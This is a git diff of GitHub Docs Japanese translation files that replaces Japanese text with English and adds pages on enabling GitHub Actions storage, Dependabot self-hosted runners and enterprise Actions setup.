* **標準**のパフォーマンス層を使用する **general-purpose** ストレージアカウント (`general-purpose v1` または `general-purpose v2` としても知られる)。 +* Create your Azure storage account for storing workflow artifacts. {% data variables.product.prodname_actions %} stores its data as block blobs, and two storage account types are supported: + * A **general-purpose** storage account (also known as `general-purpose v1` or `general-purpose v2`) using the **standard** performance tier. {% warning %} - **Warning:** general-purpose ストレージアカウントでの**プレミアム**パフォーマンス層の使用はサポートされていません。 ストレージアカウントを作成するときに**標準**のパフォーマンス層を選択する必要があり、後で変更することはできません。 + **Warning:** Using the **premium** performance tier with a general-purpose storage account is not supported. The **standard** performance tier must be selected when creating the storage account, and it cannot be changed later. {% endwarning %} - * **プレミアム**パフォーマンス層を使用する **BlockBlobStorage** ストレージアカウント。 + * A **BlockBlobStorage** storage account, which uses the **premium** performance tier. - Azure ストレージアカウントの種類とパフォーマンス層の詳細については、[Azure のドキュメント](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts)を参照してください。 + For more information on Azure storage account types and performance tiers, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts). {% data reusables.actions.enterprise-common-prereqs %} -## Azure Blob ストレージで {% data variables.product.prodname_actions %} を有効化する +## Enabling {% data variables.product.prodname_actions %} with Azure Blob storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. [Artifact & Log Storage] で、[**Azure Blob Storage**] を選択し、Azure ストレージアカウントの接続文字列型を入力します。 ストレージアカウントの接続文字列型を取得する方法について詳しくは、[Azure のドキュメント](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys)を参照してください。 ![[Azure Blob Storage] と [Connection string] フィールドを選択するためのラジオボタン](/assets/images/enterprise/management-console/actions-azure-storage.png) +1. Under "Artifact & Log Storage", select **Azure Blob Storage**, and enter your Azure storage account's connection string. For more information on getting the connection string for your storage account, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys). + ![Radio button for selecting Azure Blob Storage and the Connection string field](/assets/images/enterprise/management-console/actions-azure-storage.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md index f04fa3d36b..aa3e11ea08 100644 --- a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md +++ b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md @@ -1,6 +1,6 @@ --- -title: NAS ストレージ用の MinIO ゲートウェイで GitHub Actions を有効化する -intro: '{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_actions %} を有効化し、NAS ストレージに MinIO Gateway を使用して、ワークフローの実行によって生成されたアーティファクトを保存できます。' +title: Enabling GitHub Actions with MinIO Gateway for NAS storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO Gateway for NAS storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -14,32 +14,32 @@ redirect_from: - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage shortTitle: MinIO Gateway for NAS storage --- - -## 必要な環境 +## Prerequisites {% data reusables.actions.enterprise-s3-support-warning %} -{% data variables.product.prodname_actions %} を有効化する前に、次のステップを完了していることを確認してください。 - -* アプライアンスでのリソースの競合を回避するために、MinIO を {% data variables.product.product_location %} とは別にホストすることをお勧めします。 -* ワークフローアーティファクトを保存するためのバケットを作成します。 バケットとアクセスキーを設定するには、[MinIO のドキュメント](https://docs.min.io/docs/minio-gateway-for-nas.html)を参照してください。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +* To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.product.product_location %}. +* Create your bucket for storing workflow artifacts. To set up your bucket and access key, see the [MinIO documentation](https://docs.min.io/docs/minio-gateway-for-nas.html). {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + {% data reusables.actions.enterprise-common-prereqs %} -## NAS ストレージ用の MinIO ゲートウェイで {% data variables.product.prodname_actions %} を有効化する +## Enabling {% data variables.product.prodname_actions %} with MinIO Gateway for NAS storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. [Artifact & Log Storage] で、[**Amazon S3**] を選択し、ストレージバケットの詳細を入力します。 +1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: - * **AWS Service URL**: MinIO サービスへの URL。 たとえば、`https://my-minio.example:9000` などです。 - * **AWS S3 Bucket**: S3 バケットの名前。 - * **AWS S3 Access Key** および **AWS S3 Secret Key**: MinIO インスタンスに使用される `MINIO_ACCESS_KEY` および `MINIO_SECRET_KEY`。 詳しい情報については、[MinIO のドキュメント](https://docs.min.io/docs/minio-gateway-for-nas.html)を参照してください。 + * **AWS Service URL**: The URL to your MinIO service. For example, `https://my-minio.example:9000`. + * **AWS S3 Bucket**: The name of your S3 bucket. + * **AWS S3 Access Key** and **AWS S3 Secret Key**: The `MINIO_ACCESS_KEY` and `MINIO_SECRET_KEY` used for your MinIO instance. For more information, see the [MinIO documentation](https://docs.min.io/docs/minio-gateway-for-nas.html). - ![Amazon S3 ストレージを選択するためのラジオボタンと MinIO 設定のフィールド](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) -1. [Artifact & Log Storage] で [**Force path style**] を選択します。 ![[Force path style] チェックボックス](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) + ![Radio button for selecting Amazon S3 Storage and fields for MinIO configuration](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. Under "Artifact & Log Storage", select **Force path style**. + ![Checkbox to Force path style](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md index 7ced734dd2..5ebd02f920 100644 --- a/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md +++ b/translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md @@ -21,13 +21,13 @@ shortTitle: Set up Dependabot updates {% endtip %} -## {% data variables.product.prodname_dependabot %}のアップデートについて +## About {% data variables.product.prodname_dependabot %} updates When you set up {% data variables.product.prodname_dependabot %} security and version updates for {% data variables.product.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. This is an important step in helping developers create and maintain secure code. Users can set up {% data variables.product.prodname_dependabot %} to create pull requests to update their dependencies using two features. -- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. 詳しい情報については「[{% data variables.product.prodname_dependabot_version_updates %}について](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)」を参照してください。 +- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)." - **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." ## Prerequisites for {% data variables.product.prodname_dependabot %} updates @@ -37,7 +37,7 @@ Both types of {% data variables.product.prodname_dependabot %} update have the f - Configure {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." - Set up one or more {% data variables.product.prodname_actions %} self-hosted runners for {% data variables.product.prodname_dependabot %}. For more information, see "[Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates](#setting-up-self-hosted-runners-for-dependabot-updates)" below. -Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot %} alerts on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." ## Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates @@ -48,9 +48,10 @@ When you have configured {% data variables.product.product_location %} to use {% Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements. - Linux operating system -- The following dependencies installed: - - Docker running as the same user as the self-hosted runner application - - Git +- Git installed +- Docker installed with access for the runner users: + - We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges. + - Alternatively, install Docker and give the runner users raised privileges to run Docker. The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others. @@ -70,8 +71,17 @@ If you specify more than 14 concurrent runners on a VM, you must also update the ### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates -1. Provision self-hosted runners, at the repository, organization, or enterprise account level. 詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」および「[セルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。 +1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -2. Verify that the self-hosted runners meet the requirements for {% data variables.product.prodname_dependabot %} before assigning a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)." +2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would: -3. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)." + - Verify that Git is installed: `command -v git` + - Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation. + - [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/) + - Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/) + - Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user) + - Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs. + +3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)." + +4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)." diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md new file mode 100644 index 0000000000..6b94aa303c --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md @@ -0,0 +1,43 @@ +--- +title: Getting started with GitHub Actions for GitHub AE +shortTitle: Get started +intro: 'Learn about configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +redirect_from: + - /admin/github-actions/getting-started-with-github-actions-for-github-ae + - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae +--- + +{% data reusables.actions.ae-beta %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_managed %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_managed %} by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you need to manage access permissions for {% data variables.product.prodname_actions %} and add runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +{% note %} + +**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. + +{% endnote %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add runners. You can add runners at the enterprise, organization, or repository levels. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md new file mode 100644 index 0000000000..8680be8654 --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md @@ -0,0 +1,34 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Cloud +shortTitle: Get started +intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' +permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing policies for {% data variables.product.prodname_actions %} + +You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." + +For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md new file mode 100644 index 0000000000..cdddcb3c87 --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -0,0 +1,151 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Server +shortTitle: Get started +intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +redirect_from: + - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise +--- +{% data reusables.actions.enterprise-beta %} + +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Review hardware considerations + +{% ifversion ghes = 3.0 %} + +{% note %} + +**Note**: If you're upgrading an existing {% data variables.product.prodname_ghe_server %} instance to 3.0 or later and want to configure {% data variables.product.prodname_actions %}, note that the minimum hardware requirements have increased. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)." + +{% endnote %} + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the maximum job throughput for {% data variables.product.prodname_actions %}. + +Internal testing at {% data variables.product.company_short %} demonstrated the following maximum throughput for {% data variables.product.prodname_ghe_server %} instances with a range of CPU and memory configurations. You may see different throughput depending on the overall levels of activity on your instance. + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the number of jobs that can be run concurrently without performance loss. + +The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +| vCPUs | Memory | Maximum job throughput | +| :--- | :--- | :--- | +| 4 | 32 GB | Demo or light testing | +| 8 | 64 GB | 25 jobs | +| 16 | 160 GB | 35 jobs | +| 32 | 256 GB | 100 jobs | + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +| vCPUs | Memory | Maximum Concurrency*| +| :--- | :--- | :--- | +| 32 | 128 GB | 1500 jobs | +| 64 | 256 GB | 1900 jobs | +| 96 | 384 GB | 2200 jobs | + +*Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{%- endif %} + +If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." + +For more information about minimum hardware requirements for {% data variables.product.product_location %}, see the hardware considerations for your instance's platform. + +- [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) +- [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations) +- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) +- [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations) +- [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) +- [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations){% ifversion ghes < 3.3 %} +- [XenServer](/admin/installation/installing-github-enterprise-server-on-xenserver#hardware-considerations){% endif %} + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +## External storage requirements + +To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. + +{% data variables.product.prodname_actions %} uses blob storage to store artifacts generated by workflow runs, such as workflow logs and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. + +{% data variables.product.prodname_actions %} supports these storage providers: + +* Azure Blob storage +* Amazon S3 +* S3-compatible MinIO Gateway for NAS + +{% note %} + +**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. Other S3 API-compatible storage providers are unlikely to work due to differences from the S3 API. [Contact us](https://support.github.com/contact) to request support for additional storage providers. + +{% endnote %} + +## Networking considerations + +{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)." + +{% ifversion ghes %} + +## Enabling {% data variables.product.prodname_actions %} with your storage provider + +Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: + +* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-with-azure-blob-storage) +* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage) +* [Enabling GitHub Actions with MinIO Gateway for NAS storage](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage) + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding self-hosted runners + +{% data reusables.actions.enterprise-github-hosted-runners %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Managing which actions can be used in your enterprise + +You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. + +For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +{% data reusables.actions.general-security-hardening %} + +{% endif %} + +## Reserved Names + +When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md new file mode 100644 index 0000000000..7a7069a145 --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md @@ -0,0 +1,19 @@ +--- +title: Getting started with GitHub Actions for your enterprise +intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Actions +children: + - /introducing-github-actions-to-your-enterprise + - /migrating-your-enterprise-to-github-actions + - /getting-started-with-github-actions-for-github-enterprise-cloud + - /getting-started-with-github-actions-for-github-enterprise-server + - /getting-started-with-github-actions-for-github-ae +shortTitle: Get started +--- + diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md new file mode 100644 index 0000000000..9d1e765d83 --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -0,0 +1,124 @@ +--- +title: Introducing GitHub Actions to your enterprise +shortTitle: Introduce Actions +intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information about the basics of {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." + +![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) + +Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. + +## Governance and compliance + +Your should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. + +Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)." + +Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)." + +![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png) + +{% ifversion ghec or ghae-issue-4757-and-5856 %} +Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)." +{% endif %} + +You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your 